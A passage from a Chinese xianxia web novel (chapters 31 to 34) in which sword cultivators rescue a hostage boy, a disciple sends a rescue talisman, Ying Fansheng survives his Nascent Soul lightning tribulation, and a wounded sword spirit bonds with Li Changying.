李长缨双眼微眯,手中结印,灌注进星澜剑的灵力又添了几倍。
只听“嗤”的一声轻响,赤雾翻腾,符牢轰然垮塌,片片符文碎片散落满地,化作星星点点的红芒,消失不见。
“不可能!”符修惊恐后退,“你怎么能斩碎……”
他的话戛然而止。
凰音剑不知何时已抵在他后心,鹿眠的声音冷若冰霜:“想送我们归西?”
局势陡转,两位同行老者慌忙祭出遁地符。宋清疏剑指一引,长剑划出两道剑气,如饿虎扑食,紧紧咬着他们。
“啊!”
惨叫声中,一人被剑气贯穿丹田,后背炸开血花。另一人半边身子冻成冰块,在绝望的目光中,冰霜一点点蔓延,直至覆盖全身。
符修见性命不保,赶忙厉声大喊:“且慢!”
他拍了拍手,树丛后传来窣窣响动,两名凌云宗弟子拖出个血人。
阿宝双手被反剪在后,额头被擦破,渗出颗颗血珠,却还倔强地昂着头。嘴唇蠕动着,他似乎想喊什么,却被嘴里塞的布条堵住了喉咙。
“这小崽子坏我们大事,”符修狞笑道,“你们敢再动一下,我就让他脑袋开花。”
正说着,两名弟子分别手持符笔,点在阿宝颈侧。
李长缨讶于对方不要脸的程度:“拿凡人做人质,你还是人吗?”
“那又如何?”他浑不在意,“有用便好。”
阴沉的目光扫过他们,符修冷声喝道:“现在放下剑,我可以饶这崽子一命!”
三人对视一眼,都没有动作。
凌云宗的人本就是奔着灭口来的,李长缨他们放下剑或许可以保住阿宝的性命,然后呢?他们自己的命呢?
她可不觉得对方会高抬贵手,放他们一马。
身为剑修,剑是从不离手的。
双方在此时达成一种诡异的平衡。
两支符笔一左一右点在阿宝咽喉处,鹿眠的凰音剑也定定抵在符修后心。
他脸上闪过一丝紧张:“少废话,快把剑放下,否则——”
“否则怎样?”
一道冷冽的声音蓦地从林间传来。
众人还未回神,就见三颗赤红丹丸破空而来,准确砸在挟持阿宝的两人后背。
丹丸炸开的瞬间,紫色烟雾腾起,如活物般钻入凌云宗弟子的鼻腔。
“咳咳……丹毒?”其中一名弟子踉跄退后,手中符笔乱挥。
不出三息,两弟子从头到脚僵立在地,只剩一双眼睛骨碌碌地转。
李长缨上前,一把拽回阿宝。
少年被吓得躲在她身后。
平衡瞬间被打破,鹿眠二话不说,一剑捅进符修后心。
丹田之上,金丹黯淡。
正如李长缨猜测,身为金丹后期修士,他大限将至,不得不出此下策,铤而走险。
剑气入体,将他金丹绞得粉碎。
一道霜白身影从烟雾中信步走出。
来人身量极高,腰间悬着个宝葫芦,修长手指间还夹着两颗赤红丹丸。月光照在他半边脸上,眉心红痣若隐若现。
“是你。”鹿眠收剑而立,淡淡道
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。
应凡生颔首,从腰间取下任务令牌,给他们看:“我也接了这个任务。不过……目前看来是用不着了,你们已经解决了。”
鹿眠面无表情:“的确如此,不劳应师弟费心,请回吧。”
话音刚落,应凡生衣袖一挥,大步离开。
李长缨悄悄靠近宋清疏,心生好奇:“鹿师姐和应师兄不对付?”
宋清疏点点头:“他们二人在争夺学宫第一弟子之位,互相看不惯很久了。”
简单收拾下残局,鹿眠手起剑落,干脆利落地抹了两名被迫僵立在地的弟子的脖子,甩了甩剑上血迹,一脸平静:“走吧。”
两名弟子既然跟着糊涂师傅干了糊涂事,自然要承受因果。
李长缨看在眼里,心道剑仙跟她往日假想的形象有些不同,少了几分仁慈,多了几分果敢。
三人沿来时道路下山。
阿宝由于惊吓过度,昏迷过去,伏在宋清疏背上。
路过一处灌木丛时,隐有人影闪过。
“谁?!”
李长缨眼神一凛,长剑脱手而出,直直钉在不速之客藏身的树干上,入木三分。
剑身震颤不止。
一个熟悉的驼背身影探出个头。
刘茂兰自树干背后慢慢走出,脸上堆满谄媚笑意:“几位仙长,我就猜你们是上山来了,怕你们迷路,特来查看一番……”
眼神落在他们沾有血迹的衣摆处,她心下了然,俯身一礼道:“多谢几位仙长出手相助,解了月塘村燃眉之急。”
鹿眠盯着她,声音毫无波动:“你是何时向凌云宗报信的?”
???
李长缨猛地回头看向她,眸色变得晦暗。
他们知道了?
知道一些……还是全部?
刘茂兰脸色煞白,眸中暗光闪过,强作镇定:“仙长在说什么?老身听不懂……”
上前一步,李长缨自树干中拔出长剑,寒光一闪,悬在她颈侧。
“想好了再回答。”
身子剧烈一抖,刘茂兰审时度势,立刻伏地哀求:“仙长饶命,我、我也是受人胁迫,不得已为之……”
她轻叹:“让我猜猜……是因为你怕私卖灵矿之事败露,被灵音学宫问罪,索性通报凌云宗,让他们来灭口,对吗?”
“仙长饶命!”刘茂兰“哐哐哐”给他们磕了三个头,“是、是这样没错……但我并非主动为之!是凌云宗发现在先,逼我必须卖给他们……”
听到此处,月塘村一事差不多明了了。
李长缨收起剑,下意识转头看向鹿眠,等候她的发落。只见她抬手一挥,一道灵光蹿入刘茂兰眉心。
怔愣片刻,刘茂兰张了张嘴,却发不出声音。眼珠慢慢蒙上一层白雾,身体朝前倒下。
她死了。
宋清疏背着阿宝,眉头紧锁:“这样会不会太狠了点?”
鹿眠面色疏离:“以其人之道,还治其人之身罢。”
刘茂兰选择通风报信之时,心中定然打着置三人于死地的心思。如今不过是押错了宝,该做好接受惩罚的准备。
回到村里,三人简单给阿宝疗了伤,把人送回他奶奶家。
见来人是仙门中人,老人不敢多问,诚惶诚恐地接过孙儿。
“对了,还有这个,”宋清疏从芥子囊中取出平安扣,一并递给她,“应当是您孙儿的。”
老人连连低声感谢。
…………
三人重新踏上回学宫的道路,李长缨只觉一身轻松。
月塘村游历总算结束了,她必须好好休息一下。
宋清疏神情凝重,正欲开口说什么,却听到学宫方向有一声低沉钟鸣响起,似惊雷碾过层云。
“这是怎么了?”李长缨惊疑不定。
在她印象中,若非逢重大活动,仙门钟鸣不是个好兆头。
宋清疏怔然:“如有弟子性命危急,便会如此刻般,钟鸣不止。”
抬眸望去,钟声裹着晨阳层层荡开,满山仙鹤被惊得振翅四飞,鹤鸣响彻云霄。
32. 求救
三人赶回宗门时,灵音学宫正殿清微殿内,弟子们人山人海,围得水泄不通。
大殿中央放置有一座星仪台,台面中央是一方玄玉星盘,盘上绘有周天星图,在半空中投射出一片光幕,展示星域景象。
无事时,所现景象无非是流星划过,或是星云翻涌之类。
但一旦有弟子远在千里之外燃烧求援符,星盘上便会出现一道对应的求援符幻影。
此时中央漂浮的求援符正“滋滋”燃烧着黄色火焰,其上“薛采”二字时隐时现。
各宗弟子都在窃窃私语。
“发求援符的是薛采师兄?刀宗那个薛采师兄?”
“薛师兄不是已经筑基后期了吗?西境此行当真如此凶险,有他对付不了的妖物?”
“据说不是妖物……是鬼魂。”
李长缨一踏进正殿,众人齐刷刷回头看向他们,见到她身后的鹿眠,仿佛有了主心骨般,纷纷松一大口气。
“鹿师姐!”
“太好了,鹿师姐回来了!”
“鹿师姐,您看这事……怎么处理?”
扫了眼将希望寄托在她身上的众弟子,鹿眠淡淡道:“我非执法堂弟子,有弟子求援一事不在我权限范围内,此事需禀告应师弟。”
不知发生了何事,李长缨心下好奇,随机抓住一个弟子询问:“到底是发生了何事?”
那弟子低声飞速道:“刀宗薛采师兄发来求援符,称西境密林疑有大量鬼魂出现,难以对付,请求宗门支援。”
闻言,她倒吸一口凉气。
灵音学宫座下弟子众多,每日出任务的更是不计其数,但真正会发求援符求救的,不过寥寥几人,上一个还是在三年前。
只因每次出任务,弟子们会自备疗伤丹药,学宫还会视任务难度,发放护体法器。若是真受了什么伤,几颗丹药下去,差不多都能恢复如初。
所以,发来求援符只意味着一个意思,弟子遇到了非同小可的麻烦,难以支撑,或有性命之危。
鹿眠虽明确拒绝管这事,众人还是悄然将目光落在了她身上。教习们未至,在场修为最高的,就属金丹后期的剑宗大师姐。
“等教习们到了,再做定夺吧。”她平静道。
殿内讨论声重新响起,有几位刀宗弟子等不及,自告奋勇要去西境支援,被同门拦下,斥道:“你添什么乱?眼下西境情况未知,贸然前往和送死无异!”
那人忿忿不平,反驳:“你我不去,薛师兄该如何?难道放任他一人在西境等死不成?”
“谁说不去了?这不是在等教习定夺吗?你何必如此冲动!”
“师姐说得没错,薛师兄境界比我们高,连他都对付不了,我们去了……又能作甚?”
求援一事还未出结果,弟子们已经开始争吵起来。
突然,争执的两人仿佛被冻住般,浑身一僵,霎时没了声音。
显然是被下了禁言咒。
一道白衣飘飘的身影脚踩祥云,自天上缓缓降下。
来者语气不疾不徐:“何事如此惊慌?”
“见过通淳道人!”
众弟子皆俯身行礼。
通淳道人捋着胡须,随手点了个弟子:“你来说。”
被点到的弟子诚惶诚恐:“是刀宗薛采师兄发来求援符,我们正在商量……该如何处理。”
“此事我已知晓,不必焦心,”他沉声道,“我自会和几位教习一同商讨。”
话音未落,接二连三有人御各式法宝,降落在清微殿外,无一不是各宗教习。
弟子们赶紧俯身又一礼。
庄青青跟在诸位教习身后,进入正殿,眼睛先环视一圈,锁定在李长缨的方向,狡黠地眨了眨左眼。
接收到对方的目光,李长缨微微点头,抿了抿唇。
看来这段无甚交流的时日,对方在秘境中过得还不错……她欣慰地想。
“通淳,我宗弟子如今生死不明,你看该如何?”说话人语气焦灼,喘着粗气,正是刀宗张教习。
他往那一站,便如铁塔杵地,络腮胡虬结如草,遮住大半脸颊,背后那柄阔背大刀比他人还高半截,刀鞘被磨得发亮。
剑宗严教习抱臂而立,眉头紧锁,显然是不赞同他的话:“派两个弟子去看看便好,张教习何必自乱阵脚,至于你说的生死不明……薛采的命灯并未熄灭,何来生死一说。”
灵音学宫有一处燃灯殿,每一位弟子在入门时,都需供奉一盏命灯。
人在,灯亮。人亡,灯灭。
这也是判断弟子安危最直接准确的方法。
“哼,你身为剑宗教习,站着说话不腰疼!”张教习猛地拂袖,语气饱含怒意,“我刀宗本就无人,薛采是我爱徒,我岂能坐视不管!”
他转身向通淳道人请命:“通淳,我自请远赴西境,支援我徒!”
灵音学宫六大宗,每一宗都有弟子天资卓绝、出类拔萃。如剑宗鹿眠、丹宗应凡生,皆为年纪轻轻就结丹之辈,而刀宗的新秀,便是此次求援的薛采。
刀宗人才凋敝,每年拜入山门的弟子不多,是以即使是头部弟子,境界也没有迈入金丹。
如今好不容易有了个筑基后期的弟子,眼看结丹有望,却身陷危险、生死难料,张教习难免忧虑。
此话一出,在场诸位无不惊讶,心下忧思更甚。
刀宗教习竟扬言要亲自增援,难道西境之乱已如此迫在眉睫?
“张教习莫急。”
一道清冽男声响起,应凡生迈步踏入清微殿,轻抬下巴,示意众人看星仪台上的幻影:“薛师弟此次发来的只是黄品求援符,应当不太紧要,远不及危及性命的程度。”
学宫求援符分三个等级,从低到高分别为黄品、红品和蓝品。
黄品最次,用于非紧急的求助,如迷路、资源不足、遭遇低阶妖兽围困等,收到信号者可择时前往。
红品次之,用于存在一定危险的状况,如遭遇同阶修士恶意阻拦、秘境中受困、灵力耗尽等,需及时支援。
蓝品最高,仅限生死关头使用,如遭遇高阶修士追杀、陷入绝地秘境、或遇极危险凶兽攻击,稍有延迟便可能身死道消。
既然只是黄品,看来情况没有想象中那般严重。
听见他的话,弟子们大多松了口气。
先前他们太过担忧,无非是因为弟子求援一事太过罕见。虽说三年前也有人求援,查明后却发现不过是一场乌龙:只因那名小弟子把求援符错认成了神行符。
等增援弟子赶到时,他早就用真正的神行符跑出十万八千里了。
张教习依然神情凝重:“可观我徒的求援符所书——‘于西境密林遭上千鬼魂围攻,疑似鬼门大开,薛某灵力将尽,应对不得,请求学宫支援’,如此看来,怕已至生死关头,至少算得上红品求援符所对应情况。”
“依老夫看来,还是老夫亲赴西境,最为妥当。”
通淳道人颔首:“张教习说得在理。”
琴宗楚教习一袭广袖垂落,纤眉轻挑,冷声打断:“张教习糊涂了,通淳你也糊涂了不成?既然是黄品求援符,说明尚可支撑,张教习若是亲自去,如何让弟子成长?”
她声音微扬:“这次之后,下次呢?下下次呢?日后一旦有弟子求援,难不成都是教习去增援?”
应凡生拱手行礼:“弟子也是这个意思,毕竟……薛师弟发来的只是黄品。依弟子愚见,无需劳烦教习出山,倒不如派几位弟子前去支援。若是情况不妙,再做定夺……”
话未说完,立刻有刀宗弟子自发报名:“弟子愿去增援薛师兄!”
“我也愿意!”
“我也去!”
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十余名弟子慨然出列。
李长缨悄悄数了数,竟足足有十九人。
每一位脸上都燃着激昂的斗志,眼中虽有对前路的担忧,更多的,却是对同门的浓厚情谊。
弟子们齐声道:“薛师兄有难,我刀宗弟子自当支援,义不容辞!”
“好!”通淳道人抚掌,放声道,“那灵音学宫……便等你们的好消息了!”
他大手一挥,一团金光笼罩出列弟子。待金光缓缓散去,每人身上都笼罩着一层坚硬的甲胄虚影。瞬息过后,虚影隐入身体内。
“是灵龟甲!”有弟子认出宝物,口中惊呼。
有人小声道:“总教习竟然愿意拿出此等宝物……”
呆呆地张开嘴,张教习喃喃:“灵龟甲可抵挡相当于元婴期修士的一击,此等宝物,竟愿意用在我刀宗弟子身上……”他猛地转头,眼中隐含晶莹泪光,弯下腰激动道:“多谢!”
通淳道人摆摆手,神情淡然。
一道讥诮的声音忽地响起,自大殿一侧传来,略带一丝散漫。
“应师兄说得轻松,怎么不随刀宗弟子一同前往?莫不是贪生怕死之辈,做了缩头乌龟?”
众人回首望去,只见一妙龄少女端坐莲台之上,紫霞长裙如烟似幻,仙气萦绕,膝上置有一架绝品古琴,葱白指尖扫过琴弦,如溪水过石,泠泠动人。
正是琴宗小师妹——南宫瑶。
楚教习立刻斥道:“瑶儿,你来掺一脚作甚?!”
虽是呵斥的语气,却暗暗流露出赞许之意,师徒二人显然是对应凡生的做派积怨已久。
应凡生面不改色,不卑不亢道:“弟子本欲随行,奈何……”
顿了顿,他选择如实相告:“最近感应到金丹已至圆满,境界有些松动。或许这两三日,弟子便可冲击元婴境。”
话毕,不少弟子倒吸一口冷气,殿内“嘶”“嘶”声此起彼伏,莫名滑稽。
元婴??
灵音学宫的弟子里,终于要出一位元婴期修士了?!
“什么?!”楚教习率先喊出口,哪还顾得上端着清冷出尘的姿态,瞳孔巨震。
怎么可能?
这小子不是去年才进入金丹后期么,短短一年时间,就可以进入元婴期了?
那她身为学宫教习,临近不惑才进入元婴,如今在元婴中期停滞多年,脸该往哪搁。
通淳道人又惊又喜,声音发颤:“你这话……当真?”
“千真万确,弟子从不妄言。”他拱手道。
李长缨瞪大双眼,如何也想不到,应凡生竟会先鹿眠一步,迈入元婴境。
在她心中,未来剑仙鹿眠才应是最强大、最有天赋的,也是最有希望冲击元婴的人。
几千年前的灵音学宫,真是卧虎藏龙,剑仙鹿眠算是名垂千古了,就是不知……与之不相上下的应凡生为何反倒隐没在岁月中,没在史书上留下自己的姓名。
她心生感叹,脑中掠过一丝难以察觉的疑惑。
略微侧目看向鹿眠,只见对方面上虽不显,双手却紧握成拳,手背青筋暴起。
“很好,这算学宫一件大事,必须好好准备!”通淳道人重重点头,转头看向符宗吴教习。
后者会意,即刻俯身,恭恭敬敬道:“我这便亲手绘制符阵,为凡生护法。”
有此等大喜事将至,弟子们脸上都洋溢着笑容。不仅是为应凡生的成功喝彩,还因为——
观修士破境,于自身修为也有助益。说不定在观礼的某个契机,便可收获一份感悟,让桎梏的境界松动些许。
众人皆沉浸在出征的鼓舞和应凡生即将进境的欢欣之中,未曾注意到,角落里有个向来与薛采交好的弟子满脸疑惑。
后知后觉地,他自言自语:“我怎么记得……薛师兄出发前,没有带红品和蓝品求援符呢?”
33. 渡劫
三日后。
天穹阴沉如墨,厚重的劫云自四面八方汇聚而来,黑云压城,仿佛要压垮整座学宫。
应凡生立于孤峰之巅,白衣猎猎,灵力绕身缓缓涌动。
在他身后,符宗吴教习手里捏着厚厚一沓符箓,拧眉细思,围着他绕圈,时不时甩出一张。
数张符纸无风自动,缓慢升起,连结成阵。
符阵成,吴教习似有所感,抬头看了眼天空,飞速捏碎一张传送符,身影骤然消失在原地。
学宫上下,几乎所有弟子都聚集在观礼台上,远远望着那道即将渡劫的身影。
李长缨站在人群最前方,手按剑柄,目光灼灼地盯着天际。她身旁,奚不言一身白衣,神色冷静,指尖无意识地摩挲着扇骨,似在推演雷劫轨迹。
“元婴雷劫,共九道,”他低声道,“前三道淬体,中三道炼魂,后三道……定生死。”
闻言,她微微颔首,手指不自觉收紧。身为剑修,讲究的是一往无前,可面对天劫之威,仍不免心生畏惧。
眉毛一挑,她趁机问道:“你这般清楚,莫不是已渡过?”
说实话,她好奇奚不言的修为已经很久了。
对方既身为杏林门圣手,想必境界不低。不然让人知道,即使是最顶尖的医修,修为也不过如此,岂不是笑掉大牙。
金丹后期?元婴初期?
不对不对,只是金丹的话太低了,感觉配不上“圣手”的称号……她暗自思忖,可若是元婴,难道自己这么久以来,一直在与元婴期修士同行?!
奚不言垂眸,目光在她脸上停留片刻,勾唇笑了下,口中轻轻吐出两个字。
“你猜。”
不说就不说……李长缨撇撇嘴,悻悻地收回目光,重新看向天际。
“轰——”
第一道雷劫终于劈落!
刺目的紫电撕裂云层,瞬息间贯穿天地,直直劈在应凡生身上。他身形微晃,却未退半步。
感应到天劫,符阵亮起盈盈蓝光,筑起坚实的屏障。黄纸被劈得焦烂,将雷电引入山崖之中,落在他身上的劫雷威力,少了大半。
第二道、第三道劫雷接连劈下,一道比一道凶猛。
应凡生嘴角溢血,仍屹立不倒,甚至主动引雷如体,借天劫之力淬炼筋骨。
雷光散去,他衣袍破碎,手臂皮肤浮现焦黑痕迹,但眼中战意更盛。
“好强的肉身!”观礼台上有人惊呼。
李长缨眯起眼,心道若是自己面对劫雷,必以剑破之,而非硬抗。
她修的是杀伐之道,讲究斩破万法,被动承受不是她的风格。
可应凡生是丹修,以炼丹入道。与主攻击的修士比起,肉身算不上强悍,却能如此硬撼劫雷,可见其根基之深厚。
“他在借雷劫洗髓,”奚不言忽然开口,“丹修注重内外兼修,他是想借天劫之力,彻底脱胎换骨。”
李长缨侧目看他:“你能看出他的灵力运转?”
他摇头:“非是灵力,而是气血。雷劫之下,他体内杂质被焚尽,血液流动更加顺畅,这是破而后立。”
她若有所思地点点头,心中猜测愈发笃定。
奚不言既能看清应凡生气血流转,看来修为已至元婴期。
只有修为高于对方,才能看出对方的灵力和气血运转。
第四道劫雷落下时。
应凡生终于不再硬抗,祭出一尊青铜丹炉,炉盖掀开,竟主动将雷光吸入其中。
众人哗然:“以劫雷炼丹?”
“未尝不可,”丹宗教习喃喃道,“不过……这法子太险了。”
炉中紫电翻腾,丹意与雷光交织,隐隐传出龙吟之声。应凡生双手结印,周身灵力疯狂涌入丹炉,似在炼化这天地之威。
李长缨心头一震:“原来天劫之力,亦可为修士所用!”
她修剑多年,向来认为雷劫只是考验,如今应凡生却将其视作机缘。若她能参透此中玄机,日后自己渡劫时,是否也能如此?
不过这都是后话了,迟迟不能补齐魂魄,她怕是等不到冲击元婴境那天。
第五道、第六道劫雷劈落。
应凡生的丹炉已遍布裂痕,但他神色不变,目光中甚至隐隐有一丝笑意。
“他快撑不住了。”奚不言忽然低声道。
凝眸望去,她发觉他周身灵力四溢,显然到了极限。
有胆小的弟子早已捂住双眼,不敢再看。
丹宗弟子喃喃道:“应师兄……他、他还好么……”
第七道劫雷降临,丹炉陡然炸裂。
应凡生被雷光吞没,整个人如断线风筝般倒飞出去,重重砸在山壁上,鲜血染红白衣。
观礼台上,众人屏息。
有人扼腕叹道:“要失败了吗……”
黑云翻滚,云层中闪过几瞬电光,显然是在酝酿第八道劫雷。
有弟子不忍心,向教习请命:“师兄他快撑不住了……教习,求您救救师兄吧!”
“胡闹!”教习斥道,“你切记,千万不要在他人渡劫时,胡乱插手,扰乱因果,惹天道处罚,你我都担不起!”
通淳道人捋须叹道:“看个人造化罢。”
大道无情,若能成功渡劫,便是人定胜天,元婴自成;若渡不过,便是生死有命,修行之路到此为止。
孤峰之巅,应凡生缓缓站起,抬手擦去嘴角血迹,喝道:“再来!”
“轰——”
雷劫入体,他的肌肤寸寸龟裂,眼中光亮却愈发璀璨。
“他在……以雷劫铸元婴!”有教习不可置信道。
第九道劫雷,终于降临。
渡了这最后一劫,便是真正的元婴期修士了。
这一道雷光,亮如白昼,仿佛要将整个天地撕裂。应凡生暴喝一声,身形化作一道流光,主动迎向劫雷。
“轰隆——”
雷霆斩碎虚空,刺目的光芒逼所有人不由得闭目。
再睁眼时,天光破云,劫雷散尽,七彩祥云笼罩四野。
应凡生凌空而立,周身萦绕着淡淡的元婴威压。眉心处,一道金色印记缓缓浮现,眨眼间又消失不见。
至此,元婴已成。
他缓缓吐出一口浊气,眼中神光内敛,威压比先前更盛。
观礼台上,短暂寂静过后,骤然爆发出一阵震天动地的欢呼声。
“应师兄渡劫成功了!”
“九道劫雷全数扛下,这可是百年难遇的天才!”
“丹宗一脉,从此又多了一位元婴大能!”
于这份盛大中,鹿眠立于人群之后,似有所悟。神识探向体内,她的丹田之上,金丹浑圆灿亮,悄然圆满。
耳边尽是喧嚣,李长缨注视着欢呼的众人,心神仍停留在方才那九道劫雷的震撼之中。
奚不言见她若有所思,唇角微扬:“天地之力,本就蕴含生死之道。劫雷虽凶险,可若能扛下,便是脱胎换骨。”
她挑眉:“你医修一脉,也讲究借外力淬体?”
折扇轻摇,他淡笑:“大道三千,本就同源。”
就在这时,观礼台前方忽然传来一阵骚动。
“快看!应师兄过来了!”
众人循声望去,应凡生踏空而来,衣袂飘飘,面色虽有些苍白,周身灵力却比先前更凝实,手背上被劫雷劈中的伤口尽皆愈合。轻轻落
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在观礼台中央,他朝众人拱手,声音含着一丝暖意:“多谢诸位同门观礼。”
“应师兄威武!”
“恭喜师兄踏入元婴!”
弟子们纷纷围上前,七嘴八舌地道贺。应凡生一一回应,神色谦和,丝毫没有因破境而倨傲。
远远望着,李长缨心中浮现一个念头——
“若有一日,我也要渡劫……”
她修的是杀伐剑道,雷劫必然更加凶险。可今日应凡生的渡劫之法,倒给了她新的感悟。
或许,她该重新审视自己的道。
似乎察觉到她的心绪,奚不言垂眸,轻声道:“剑修渡劫向来凶险,若能借天劫磨砺剑意,未必不是一条生路。”
她眸光微闪,缓缓点头。
远处,应凡生已被众弟子簇拥着离开,欢呼声久久不散。
二人收回视线,走下观礼台。
沿着青石小路,李长缨和奚不言并肩走在回弟子苑的路上,两人的影子在灯下时而重叠、时而分离。
她闷声道:“也不知何时,我也能经历这样的天劫。”
修士在晋升小境界时,不会引来雷劫。只有从金丹迈入元婴这般,出现全方位的质变,才能引起天道之威。
而她如今的修为,甚至未恢复至李烟萝的巅峰时期——半步元婴。
等出了秘境,抵达魔域,届时灵气稀薄,更是难以修炼。晋升个金丹中期……都不知要到猴年马月。
可魔域之行非去不可,她必须弄清自身魂魄的秘密。不然以她残缺的神魂,能恢复至金丹后期已是勉强,后面的元婴、化神……想都不要想。
“你看这云海,”奚不言打断她纷飞的思绪,轻抬下巴,示意她看向远方,“看似停滞不动,实则每时每刻都在流转。”
“修习之路亦是如此,快慢皆是造化。”
“你说得对,”她长舒一口气,心情明朗了几分,“是我心焦了。”
说话间,剑宗弟子苑已至,奚不言正欲告辞,忽见前方竹林转出一道绛色身影。
鹿眠抱臂而立,先看向李长缨,声音不辨悲喜:“我正要去找你,商讨五宗对战的事。”
不等对方回答,她目光如刃,将奚不言从头到脚打量个遍:“你是医修?”
“正是,”奚不言规规矩矩地行礼,声音清润,“见过鹿师姐,在下药宗奚不言,久仰大名。”
怎么看不透此人修为……他虽有意做了遮掩,将修为保持在筑基后期,但直觉告诉她,这人远不止表面上那般简单。
鹿眠心下生疑,转念一想,对方和李师妹交好,想必也是良善之辈。否则依师妹的脾性,断不会与人同行。
心里有了决断,她淡淡道:“不错,正巧我们剑宗一队缺个医修。”
五宗对战,药宗虽不参与,却允许医修加入其余宗的队伍。若是有弟子受伤,也好及时治疗。一般都是五宗弟子自行找愿意加入的医修,实在找不到,便等对战前分配,那样的话……队员磨合也是个问题。
总之是越早越好。
鹿眠身为剑宗大师姐,和药宗无甚交集,让她主动出击邀请素不相识的医修,简直比登天还难。这下撞上个和李师妹交好的医修,不得不感叹一句“天助我也”。
既然无法看出他的境界,肯定在她之上,起码是元婴。药宗出色弟子本就不多,元婴更是凤毛麟角。
她本来对五宗对战十拿九稳,如今应凡生进境,不得不添几分担忧。
李长缨下意识上前半步:“师姐,他……”
“怎么?”鹿眠挑眉,“怕我吃了他?”
话音未落,她袖袍一甩,腰间凰音剑应声而出,直逼奚不言面门。
34. 剑灵
“鹿师姐!”李长缨疾呼,不明白对方闹哪出,心里一惊,下意识召出星澜剑,准备阻拦。
凰音剑破空而来,奚不言眼眸微暗,足尖点地,轻轻旋身避过。
谁知,那柄金剑竟在半空折返,再次直奔他面门而去。
他似有所觉,忽然止步。
长剑在他颈侧三寸骤然停滞,剑身轻颤,发出低沉的嗡鸣。
仿佛在无声谴责他躲避的行为。
“果然,”奚不言轻声道,“鹿师姐不是要试我身手,是要我医它。”
鹿眠颔首:“看出来了?”
他未答,缓缓抬手,指尖泛起淡青色灵光,轻点剑身。
相触刹那,凰音剑突然剧烈震颤,剑身浮现蛛网般的冰裂纹,周身剑气四窜,似在忍受极大痛苦。
“剑灵受损,灵脉淤堵,”他凝眸细察,“最近是否饮过体质寒凉的妖兽的血?”
鹿眠神色微变:“半月前斩杀过一条玄冰蟒。”
“这便是了,”奚不言收回手,“寒毒侵体,剑灵受创,需以三昧真火为引,逼出毒性。”
目睹这一切,李长缨怔然。她从未想过,剑灵也会“生病”,更没想到医修能诊断出来。
……等等,凰音剑有剑灵?
这般想着,她也这般问了出来。
瞥了她一眼,鹿眠淡淡道:“我先前与你说过,凰音剑性情孤傲……若无剑灵,何来性情一说。”
转头看向奚不言,她沉吟:“三昧真火……或许需要寻一位丹修。”
金丹及以上的丹修炼丹时,便是用三昧真火。
奚不言点头,补充道:“不止,凰音剑的实力与你修为匹配,若是想彻底医好它,必须寻一位至少金丹后期的丹修。”
金丹后期的丹修……李长缨立刻在脑海中搜寻起合适人选。
想来想去,竟只有才进境的应凡生比较合适,其余丹宗弟子大多筑基后期,能迈入金丹的皆是凤毛麟角。不对不对……她怎么光想着找弟子帮助,分明求助教习更稳妥。
与她一样,鹿眠脑海中立刻闪过应凡生的身影。眼眸晦暗一瞬,她郑重道:“我这便去求助丹宗长老。”
三人一同往丹宗走去。
路上,李长缨好奇开口:“鹿师姐,剑宗和丹宗……关系不好?”
鹿眠反问:“何出此言?”
她斟酌道:“方才提到需要寻找丹宗的三昧真火,你似乎不太情愿。”
“算不上不好,同为学宫的一部分,各宗间有合作有竞争再正常不过,只是……”鹿眠拧眉,表情似有些困惑,“先前我与应师弟势均力敌,剑宗对我寄予厚望,也隐含和丹宗打擂台之意。如今应师弟先我一步迈入元婴,教习们虽不曾明言……”
未竟之语不言而喻。
剑宗一方,难免透露出失望,毕竟鹿眠是百年难得的剑道天才,是最有希望抢先冲击元婴期的剑修;丹宗一方,教习们虽不会乱说什么,却难免有弟子在私底下嘲讽她。
虽说除应凡生外,其余弟子境界皆不如她。但说起闲言碎语来,谁还管修为如何,只想逞一时口舌之快。
“要是谁敢偷嚼舌根,师姐一剑斩了便是。”李长缨弯了弯眼睛。
闻言,鹿眠嘴角略微上扬,难得展现出浅淡笑意。
转过一座回廊,李长缨忽觉有东西勾了勾她左手小指。
低头一看,竟是个约莫五六岁模样的小女孩,通体赤红,一双大大的眼瞳清澈透亮,周身缠绕着细碎剑气。
小女孩飘在半空,与她对上视线,眼睛忽闪忽闪。
“你……”她一怔,还未反应过来,小家伙已手脚并用爬到她肩上,滚烫的小脸贴着她脖颈蹭了蹭,发出满足的喟叹:“热热的,舒服。”
她浑身僵住,急忙喊出声:“鹿师姐,这是何物?”
接触时,小女孩身上的剑气丝丝缕缕渗入她经脉,竟让她久未突破的瓶颈隐隐有松动的迹象。
鹿眠转身,看清眼前景象后,眉毛微扬:“稀奇,凰音平日除了我,谁都不让碰。”
所以这是……凰音剑灵?
她又惊又疑,低头看向趴在肩头的剑灵,注意到对方肉乎乎的小脸上,爬满了莹白的冰裂纹。
看着她手足无措的模样,奚不言眼中含笑:“你体质阳热,与凰音剑属性相近,剑灵亲近你也正常。”
剑灵闻言,歪头看了看他,忽然从李长缨肩上跳下,顺着手臂滑落,一路滑至她轻蜷的左手掌心,将自己团成个球,打了个哈欠,睡着了。
那里,是剑骨印记所在。
她瞪大双眼,与他对视须臾,都从对方眼里看到一丝探究。
掌心生出几分灼痛感,淡金色印记泛起微光,丝丝缕缕的剑气如游鱼般流转。凰音剑灵睁大眼睛,小手好奇地探过来,指尖刚触到那缕金光。
“铮——”
清越剑鸣响彻回廊,金光暴涨,与赤红剑气交织,发出急促的嗡鸣。
奚不言迅速并指按在她腕间,温润灵力顺着经脉探入:“别动,是剑骨在共鸣。”
剑灵整个飘了起来,红发在风中飞舞。她惊喜地扑进光芒中,小脸贴着李长缨掌心:“一样的……一样的……”
什么一样的?
李长缨愕然,下意识想开口,又顾及鹿眠在场,不好询问,只得强压下心头疑惑。
按住躁动的本命剑,鹿眠眸中极快地掠过一丝讶异:“你掌心处……是何物?”
思忖片刻,她不打算告诉对方,摇摇头:“不知,自我出生起便有了……”
话未说完,金芒化作流虹,尽数没入她眉心。
回廊重归寂静,唯余满地碎光。
她怔怔地看着掌心,那道金色印记比先前清晰了许多。剑灵蜷在她手心,满足地打了个嗝,灵体比之前凝实了不少。
…………
丹宗山门巍峨耸立,赤红色石阶蜿蜒而上,宛如火龙现世,盘踞山间。
三人拾级而上,未至山门,便听见上方传来阵阵讥笑。
“要我说,剑宗哪比得过咱们丹宗。这不,第一位元婴弟子,是咱们大师兄!”
“嘘,你小点声!若是被剑宗那群莽夫听见了,保准找你麻烦……”
“胆小鬼,我还怕他们不成?!”
上前几步,鹿眠盯着大放厥词的几人,面无表情:“莽夫?”
“鹿师姐?!”
说坏话被正主抓包,几位弟子你看看我、我看看你,立刻端正态度,齐齐躬身:“见过鹿师姐!”
